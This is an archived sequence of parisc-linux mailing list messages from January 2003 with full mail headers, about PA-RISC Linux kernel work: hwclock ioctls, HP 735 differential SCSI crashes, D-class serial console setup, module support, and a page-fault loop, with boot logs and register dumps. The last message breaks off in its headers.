Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17252

On Thu, 2 Jan 2003, Linux Kernel Mailing List wrote:
> ChangeSet 1.925, 2003/01/02 21:03:29-02:00, alan@lxorguk.ukuu.org.uk
> 
> 	[PATCH] PATCH: add hwclock ioctls used in 2.4 for pa and in 2.5
> 	
> 
> 
> # This patch includes the following deltas:
> #	           ChangeSet	1.924   -> 1.925  
> #	  include/linux/kd.h	1.3     -> 1.4    
> #
> 
>  kd.h |   13 +++++++++++++
>  1 files changed, 13 insertions(+)
> 
> 
> diff -Nru a/include/linux/kd.h b/include/linux/kd.h
> --- a/include/linux/kd.h	Thu Jan  2 18:32:57 2003
> +++ b/include/linux/kd.h	Thu Jan  2 18:32:57 2003
> @@ -132,6 +132,19 @@
>  
>  #define KDSIGACCEPT	0x4B4E	/* accept kbd generated signals */
>  
> +struct hwclk_time {
> +	unsigned	sec;	/* 0..59 */
> +	unsigned	min;	/* 0..59 */
> +	unsigned	hour;	/* 0..23 */
> +	unsigned	day;	/* 1..31 */
> +	unsigned	mon;	/* 0..11 */
> +	unsigned	year;	/* 70... */
> +	int		wday;	/* 0..6, 0 is Sunday, -1 means unknown/don't set */
> +};
> +
> +#define KDGHWCLK        0x4B50	/* get hardware clock */
> +#define KDSHWCLK        0x4B51  /* set hardware clock */
> +
>  struct kbd_repeat {
>  	int delay;	/* in msec; <= 0: don't change */
>  	int rate;	/* in msec; <= 0: don't change */

Ugh, and I was so happy to have them removed in 2.4.19 :-(
BTW, they were removed from 2.5.x in 2.5.15 as well.

ChangeSet log was:
| - Kill m68k-specific struct hwclk_time in favor of common struct rtc_time
| - Kill m68k-specific KD[GS]HWCLK ioctls() (the code for them was removed a
|   long time ago)

Wouldn't it be better to convert PA-RISC to use struct rtc_time as well?

And the KD[GS]HWCLK ioctl()s are obsolete anyway, use /dev/rtc to access the
hardware clock. On PA-RISC that should be done through genrtc, which I'm in the
process of cleaning up for submission to marcelo.

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds




From - Thu Nov 08 21:26:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hp735 Differential SCSI
Date: 04 Jan 2003 14:27:53 -0700
Lines: 262
Approved: news@gmane.org
Message-ID: <1041715673.3130.18.camel@beavis>
References: <3E173DE1.4090203@mijn.mine.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622069 19353 80.91.229.3 (22 Nov 2014 02:07:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Frank van Gestel <fvgestel@mijn.mine.nu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan  4 14:28:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id CDF854829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  4 Jan 2003 14:27:59 -0700 (MST)
Original-Received: from localhost.localdomain (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 695832B0E4; Sat,  4 Jan 2003 14:27:53 -0700 (MST)
In-Reply-To: <3E173DE1.4090203@mijn.mine.nu>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17253

Frank,

Yeah, the problem is more basic then that.  The 735 and 755 do not have
coherant io.  The FW Diff driver for these systems (nc53c720) requires
the io to be coherant.  I have some preliminary patches from Richard
Hirst to see if we can "educate" the driver about non-coherant IO.  I
just have not had much time to play with them lately.  I would be glad
to find them and pass them on if you are interested in looking into
this!

Thanks,

- Ryan

P.S. Sorry .. still on my TODO list... just a lower priority then making
sure parisc-linux is ready for 2.6/3.0.


On Sat, 2003-01-04 at 13:02, Frank van Gestel wrote:
> Hello,
> 
> I recently got my hands on a hp735, with some diskarrays connected to 
> the differential scsi interface. I'm now trying get the kernel driver 
> working. I read a lot of posts about it in the past and I found the 
> outfield patch on the ftp-site.
> After installing latest kernel sources and patch, I tried compiling a 
> new kernel. This kernel resulted in crash. After some debugging I found 
> out that the zalon address was used instead of the outfield, so I made 
> the following change in zalon7xx.c :
> 
> hosts_used = zalon_attach(hosts_tptr, dev->hpa +
>                 (zalon?GSC_SCSI_ZALON_OFFSET:SCSI_OUTFIELD_OFFSET),
>                 dev, irq, zalon_id, !zalon /* outfield */);
> 
> Now the kernel detects the chip. It still crashes the kernel. After 
> numerous hard resets and a lot of debugging lines, I got the 
> boot-sequence shown below. I'm not a hardware guy  and know nothing 
> about registerscripts, etc... Anybody else got ideas?...
> 
> Frank van Gestel
> 
> ------------------------------------------------------
> 
> (c) Copyright.  Hewlett-Packard Company.  1992.
> All rights reserved.
> 
> PDC ROM rev. 2.7
> IODC ROM rev. 1.1
> 224 MB of memory configured and tested.
> 
> 
> Selecting a system to boot.
> To stop selection process, press and hold the ESCAPE key.
> 
> Selection process stopped.
> 
> Searching for Potential Boot Devices.
> To terminate search, press and hold the ESCAPE key.
> 
> Device Selection      Device Path              Device Type
> ----------------------------------------------------------------------------
> 
> P0                    scsi.1.0                 MICROP  1588-15MBSUN0669
> P1                    scsi.0.0                 MAXTOR  LXT-213S SUN0207
> P2                    fwscsi.6.0               SEAGATE ST32430W
> P3                    lan.080020-11f7e6.0.0    sun2
> 
> 
> 
> b)    Boot from specified device
> s)    Search for bootable devices
> a)    Enter Boot Administration mode
> x)    Exit and continue boot sequence
> ?)    Help
> 
> Select from menu: b
> Enter boot selection, (h)elp, or e(x)it: p3
> 
> Trying lan.080020-11f7e6.0.0
> Boot path initialized.
> Attempting to load IPL.
> 
> 
> Hard booted.
> palo ipl 1.0 root@palinux Mon Apr  1 10:02:53 MST 2002
> 
> Boot image contains:
>     0/vmlinux32 3067289 bytes @ 0x8000
> 
> Information: No console specified on kernel command line. This is normal.
> PALO will choose the console currently used by firmware (serial).
> Command line for kernel: 'HOME=/ root=/dev/sdb2 console=ttyS0 TERM=vt102 
> palo_ke
> 
> rnel=0/vmlinux'
> Selected kernel: /vmlinux from partition 0
> Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing 
> 32-bit kernel ELF32 executable
> Entry 00100208 first 00100000 n 6
> Segment 0 load 00100000 size 1836364 mediaptr 0x1000
> Segment 1 load 002c2000 size 277984 mediaptr 0x1c2000
> Segment 2 load 00308000 size 230992 mediaptr 0x206000
> Segment 3 load 00344000 size 8192 mediaptr 0x23f000
> Segment 4 load 00348000 size 32768 mediaptr 0x241000
> Segment 5 load 00371984 size 93920 mediaptr 0x249984
> Branching to kernel entry point 0x00100208.  If this is the last
> message you see, you may need to switch your console.  This is
> a common symptom -- search the FAQ and mailing list at parisc-linux.org
> 
> Linux version 2.4.20-pa18 (root@hp735) (gcc version 3.0.4) #29 Sat Jan 4 
> 19:52:4
> 
> 1 CET 2003
> FP[0] enabled: Rev 1 Model 9
> The 32-bit Kernel has started...
> Determining PDC firmware type: Snake.
> model 00002060 00000481 00000000 00000000 00ce8116 ffffffff 00000004 
> 0000000a 0000000a
> vers  00000016
> model 9000/735
> Total Memory: 224 Mb
> pagetable_init
> On node 0 totalpages: 57344
> zone(0): 57344 pages.
> zone(1): 0 pages.
> zone(2): 0 pages.
> Kernel command line: HOME=/ root=/dev/sdb2 console=ttyS0 TERM=vt102 
> palo_kernel=0/vmlinux
> Console: colour dummy device 160x64
> Calibrating delay loop... 124.51 BogoMIPS
> Memory: 223996k available
> Dentry cache hash table entries: 32768 (order: 6, 262144 bytes)
> Inode cache hash table entries: 16384 (order: 5, 131072 bytes)
> Mount-cache hash table entries: 4096 (order: 3, 32768 bytes)
> Buffer-cache hash table entries: 16384 (order: 4, 65536 bytes)
> Page-cache hash table entries: 65536 (order: 6, 262144 bytes)
> Searching for devices...
> Found devices:
> 1. Coral SGC Graphics (10) at 0xf8000000 [1], versions 0x4, 0x0, 0x77
> 2. Outfield Core BA (11) at 0xf082f000 [2], versions 0x9, 0x0, 0x70
> 3. Outfield Core SCSI (10) at 0xf0825000 [2/0/1], versions 0x9, 0x0, 0x71
> 4. Outfield Core LAN (802.3) (10) at 0xf0826000 [2/0/2], versions 0x9, 
> 0x0, 0x72
> 5. Outfield Core HIL (10) at 0xf0821000 [2/0/3], versions 0x9, 0x0, 0x73
> 6. Outfield Core RS-232 (10) at 0xf0823000 [2/0/4], versions 0x9, 0x0, 0x75
> 7. Outfield Core RS-232 (10) at 0xf0822000 [2/0/5], versions 0x9, 0x0, 0x75
> 8. Outfield Core Centronics (10) at 0xf0824000 [2/0/6], versions 0x9, 
> 0x0, 0x74
> 9. Outfield FW SCSI (10) at 0xf0830000 [2/0/7], versions 0x9, 0x0, 0x7c
> 10. Outfield Audio (10) at 0xf1000000 [2/0/8], versions 0x9, 0x0, 0x7f
> 11. Cobra EISA BA (11) at 0xfc000000 [4], versions 0x4, 0x0, 0x76
> 12. Snake Cheetah (735/130) (0) at 0xfffbe000 [8], versions 0x206, 0x0, 0x4
> 13. Memory (1) at 0xfffbf000 [9], versions 0x37, 0x0, 0x9
> CPU(s): 1 x PA7100 (PCX-T) at 125.000000 MHz
> Cutoff version 4 at 0xf082f000 found.
> LED (ASP-style) display at f0800020 registered
> Mongoose EISA Adapter found at 0xfc000000
> EISA EEPROM at 0xf0810400
> Enumerating EISA bus
> EISA slot 1: HWP1850 EISA IRQ 3
> POSIX conformance testing by UNIFIX
> Linux NET4.0 for Linux 2.4
> Based upon Swansea University Computer Society NET3.039
> Initializing RT netlink socket
> Soft power switch support not available.
> Starting kswapd
> Journalled Block Device driver loaded
> Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
> parport_init_chip: enhanced parport-modes not supported.
> parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
> STI GSC/PCI graphics driver version 0.9
> STI byte mode ROM at f8000000, hpa at f8000000
> STI id 26d1482a-40a00499, conforms to spec rev. 8.02
> STI device: HPA1659A
> Console: switching to colour frame buffer device 160x64
> fb0: stifb 1280x1024-8 frame buffer device, id: 26d1482a, mmio: 0xf8100000
> pty: 256 Unix98 ptys configured
> Serial driver version 5.05c (2001-07-08) with no serial options enabled
> ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
> ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
> lp0: using parport0 (interrupt-driven).
> Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
> RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
> loop: loaded (max 8 devices)
> Found i82596 at 0xf0826000, IRQ 87
> 82596.c: MAC of HP700 LAN read from EEPROM
> eth0: Couldn't get consistent shared memory
> eth0: 82596 at 0xf0826000, 08 00 09 8C 45 7C IRQ 87.
> 82596.c $Revision: 1.30 $
> SCSI subsystem driver Revision: 1.00
> scsi_register_host: tttt1
> scsi_register_host: tttt2
> zalon7xx_detect: ttt1
> zalon_attach
> ncr53c8xx: 
> setup=disc:y,specf:3,tags:8,sync:12,burst:7,wide:y,diff:0,revprob:n,b
> 
> uschk:0x1
> ncr53c8xx: 
> setup=mpar:y,spar:y,fsn=n,verb:0,debug:0x0,led:n,settle:2,irqm:0x0,nv
> 
> ram:0x1,pcifix:0x0
> io_port:F0830100
> ncr53c8xx: 53c720 detected
> ncr_attach
> ncr_prepare_setting
> ncr_init_burst
> ncr_init_burst
> ncr_name
> ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
> ncr_prepare_setting
> ncr_script_fill start
> ncr_script_fill end
> ncr_script_copy_and_bind start
> ncr_script_copy_and_bind end
> ncr_script_copy_and_bind start
> ncr_script_copy_and_bind end
> ncr_chip_reset start
> ncr_chip_reset end
> ncr_snooptest start
> ncr_regtest start
> ncr_regtest end
> do_big_flush start
> do_big_flush end
> /* instruction  OUTL (nc_dsp, (v)) generates CPU exceptions : */
> Trap 5 on CPU 0
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001101111111100001111 Not tainted
> r00-03  00000000 102d012c 10109064 00000001
> r04-07  1008e000 0008b244 00000000 10336810
> r08-11  1008e034 00000000 00000002 000f4000
> r12-15  00000001 000ff000 f0001420 00000000
> r16-19  100556c0 08000058 c000c000 90000000
> r20-23  00000000 00000001 28181da7 0000021b
> r24-27  00000001 00000064 102d0230 102c0010
> r28-31  00000000 00000005 10055900 1011fed8
> sr0-3   00000000 00000000 00000000 00000000
> sr4-7   00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 10109068 1010906c
>  IIR: 2269f204    ISR: 00000000  IOR: 102d3800
>  CPU:        0   CR30: 10054000 CR31: 10348000
>  ORIG_R28: 103571ff
> 
> */  After removing the instruction, the folllowing happens : */
> ncr_chip_reset start
> ncr_chip_reset end
> CACHE TEST FAILED: timeout.
> CACHE INCORRECTLY CONFIGURED.
> ncr_name
> ncr53c720-0: detaching...
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:26:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] D370
Date: Sat, 4 Jan 2003 22:09:49 +0000
Lines: 49
Approved: news@gmane.org
Message-ID: <20030104220949.A19239@parcelfarce.linux.theplanet.co.uk>
References: <5.1.0.14.0.20030101115323.03a100e0@mail.magma.ca> <87el7vjsxo.fsf@welho.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622070 19358 80.91.229.3 (22 Nov 2014 02:07:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:50 +0000 (UTC)
Cc: Herb Radford <herbr@magma.ca>,
	parisc-linux@lists.parisc-linux.org
To: Arto Jantunen <viiru@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan  4 15:09:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70E1E4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  4 Jan 2003 15:09:56 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18UwUH-00055F-00; Sat, 04 Jan 2003 22:09:49 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <87el7vjsxo.fsf@welho.com>; from viiru@debian.org on Thu, Jan 02, 2003 at 08:41:07PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17254

On Thu, Jan 02, 2003 at 08:41:07PM +0200, Arto Jantunen wrote:
> Herb Radford <herbr@magma.ca> writes:
> > Has there been any change in the support for the D-Class machines with
> > an Access Port card?

Yes, I posted an email to this list asking for testers a few weeks back,
I think ...

> > I'm not sure I understand what's happening when the AP card is
> > inserted. If I boot into the PDC I get the console on Serial 1. If I
> > boot with my console plugged into the AP card serial port I get nada!
> > When I plug my console into Serial 2 I also get zip!
> > If I boot with the console in Serial 1, output stops at the famous
> > "branching to" message.

Here's what happens.  Without the AP card plugged in, firmware tells us
about 2 serial ports; the one on Lasi and the one on Wax.  Linux detects
them as ttyS0 and ttyS1, respectively.  With the AP card plugged in,
firmware no longer tells us about Lasi's serial port, so Wax's serial
port is assigned ttyS0 instead.  Ryan wrote a driver for the AP card
which will present it as ttyB0.  Wax will still be assigned ttyS0, so
you have to boot with console=/dev/ttyB0 instead of S0.  You also need
to make sure that you've created ttyB0 before rebooting.  And of course,
you need to build support for the serial mux driver into your kernel.

The good news is that this should now be supported by the debian
bootfloppies.  Not sure whether that will ever make it into an official
Debian release before it's superceded by debian-installer.

> > Must the AP card be removed for useful o[peration?
> 
> Thats how I did it for my D390 and after that it works fine. Also,
> you can do the "switch to serial 2 after the branching point" dance..

Another way to do it is to set up the console path to SERIAL_2 and
then boot Linux with ttyS0 and you'll always see output on the second
serial port.

> Also, so that others know, with the current (as in 2.4.20) kernels
> (which fixed some unaligned access issues, I believe), the machine
> works just fine on 32-bit SMP.

Excellent news!

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] modules and 2.5.5X
Date: Sat, 4 Jan 2003 22:33:01 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20030104223301.B19239@parcelfarce.linux.theplanet.co.uk>
References: <200301020111.48011.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622070 19360 80.91.229.3 (22 Nov 2014 02:07:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:50 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan  4 15:33:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C74A4829
	for <parisc-linux@parisc-linux.org>; Sat,  4 Jan 2003 15:33:08 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18Uwqj-0005Fa-00; Sat, 04 Jan 2003 22:33:01 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200301020111.48011.deller@gmx.de>; from deller@gmx.de on Thu, Jan 02, 2003 at 01:11:47AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17255

On Thu, Jan 02, 2003 at 01:11:47AM +0100, Helge Deller wrote:
> kernel module support for the 2.5 kernel on hppa seems broken due to some missing 
> support for this architecture in the new modutils and module-init-tools debian packages.
> 
> Maybe someone with somewhat more expirience than me with the ELF file format and 
> runtime symbol relocation functions could look into this ? 

rusty's promised to do it when he gets access to a machine...

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] do_page_fault() infinite loop running 2.4.20-pa18 #9 SMP
Date: Sat, 4 Jan 2003 22:51:18 -0700
Lines: 53
Approved: news@gmane.org
Message-ID: <20030105055118.GC14817@dsl2.external.hp.com>
References: <200301041938.h04JcFLn016387@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622070 19364 80.91.229.3 (22 Nov 2014 02:07:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan  4 22:51:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id EAD3F4829; Sat,  4 Jan 2003 22:51:18 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200301041938.h04JcFLn016387@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17256

On Sat, Jan 04, 2003 at 02:38:15PM -0500, John David Anglin wrote:
> This has been around for awhile.  When using a SMP configuration, the
> program expect "causes" a segmentation fault that results in do_page_fault()
> going into an infinite loop.  The log data repeats indefinitely and
> eventually fills /var.  For some reason, expect is not killed by the kernel
> when this happens, although the loop can be broken by manually killing it.

This on gsyprf11? (running SMP 2.4.20-pa13 on a500-65)

I'm hoping this is unrelated to my entry.S changes.
But is certainly sounds like that kind of problem.

In -pa12, Randolph and I fixed:
| revision 1.98
| date: 2002/12/09 06:09:08;  author: tausq;  state: Exp;  lines: +2 -2
| -pa12
| fix interruption return path so that it will process signals after
| handle_interruption()
| (thanks to Grant for pointing this out)

Since I broken this with -pa11, maybe the rebuild of -pa13 picked
up the old -pa11 entry.o?
I'll rebuild from scratch to rule this out and reboot gsyprf11.

Perhaps a user space signal handler is interfering?

BTW, appended is one "expect" segfault info from dmesg ouput.
Dmesg output is filled with the same PID and AFAICT the register dumps
look identical too. "infinite" is about right.

grant

do_page_fault() pid=28552 command='expect' type=15 address=0x00000014

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  0000000000000000 fffffffffffffffa 00000000403309c4 00000000403309d4
r04-07  0000000040330970 000000004032ea28 0000000000000063 000000004032ea28
r08-11  0000000000021110 0000000000205ff4 0000000000000006 0000000000003b1b
r12-15  0000000000000001 0000000000000000 0000000000207d40 0000000000000001
r16-19  0000000000000000 0000000000000001 0000000000000000 000000004032ea28
r20-23  000000000000000b 000000000000000c 0000000000205628 00000000002055f8
r24-27  0000000000000030 0000000000000000 0000000040330970 0000000000020d44
r28-31  0000000000000002 00000000403309e8 00000000faf05a40 0000000000000000
sr0-3   000000000037b780 000000000037b780 0000000000000000 000000000037b780
sr4-7   000000000037b780 000000000037b780 000000000037b780 000000000037b780

IASQ: 000000000037b780 000000000037b780 IAOQ: 000000004025b45f 000000004025b463
IIR: 0eb41290    ISR: 000000000037b780  IOR: 0000000000000014
CPU:        1   CR30: 0000000030754000 CR31: 0000000000008020
ORIG_R28: 0000000000000002



From - Thu Nov 08 21:26:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] do_page_fault() infinite loop running 2.4.20-pa18 #9 SMP
Date: Sun, 5 Jan 2003 01:16:06 -0500 (EST)
Lines: 76
Approved: news@gmane.org
Message-ID: <200301050616.h056G6A1017741@hiauly1.hia.nrc.ca>
References: <20030105055118.GC14817@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622071 19366 80.91.229.3 (22 Nov 2014 02:07:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan  4 23:16:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C2594829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  4 Jan 2003 23:16:14 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h056G7ot017742;
	Sun, 5 Jan 2003 01:16:07 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h056G6A1017741;
	Sun, 5 Jan 2003 01:16:06 -0500 (EST)
In-Reply-To: <20030105055118.GC14817@dsl2.external.hp.com> from "Grant Grundler" at Jan 4, 2003 10:51:18 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
